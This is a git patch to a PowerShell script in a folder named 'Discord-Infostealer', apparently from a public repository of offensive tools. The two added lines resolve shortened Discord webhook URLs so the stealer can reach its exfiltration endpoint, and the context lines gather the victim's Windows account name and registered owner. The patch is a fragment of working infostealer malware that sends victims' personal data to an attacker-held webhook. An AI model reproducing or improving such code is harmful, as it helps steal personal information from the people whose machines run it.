From 45f0e0f86a5709a3c3fa99108c108baa462414c8 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Tue, 2 Jan 2024 21:46:44 +0000 Subject: [PATCH] Update main.ps1 --- Discord-Infostealer/main.ps1 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Discord-Infostealer/main.ps1 b/Discord-Infostealer/main.ps1 index 23c6de2..8478285 100644 --- a/Discord-Infostealer/main.ps1 +++ b/Discord-Infostealer/main.ps1 @@ -1,4 +1,6 @@ $hookurl = "$dc" +# shortened URL Detection +if ($hookurl.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $hookurl = (irm $hookurl).url} $userInfo = Get-WmiObject -Class Win32_UserAccount ;$fullName = $($userInfo.FullName) ;$fullName = ("$fullName").TrimStart("") $email = (Get-ComputerInfo).WindowsRegisteredOwner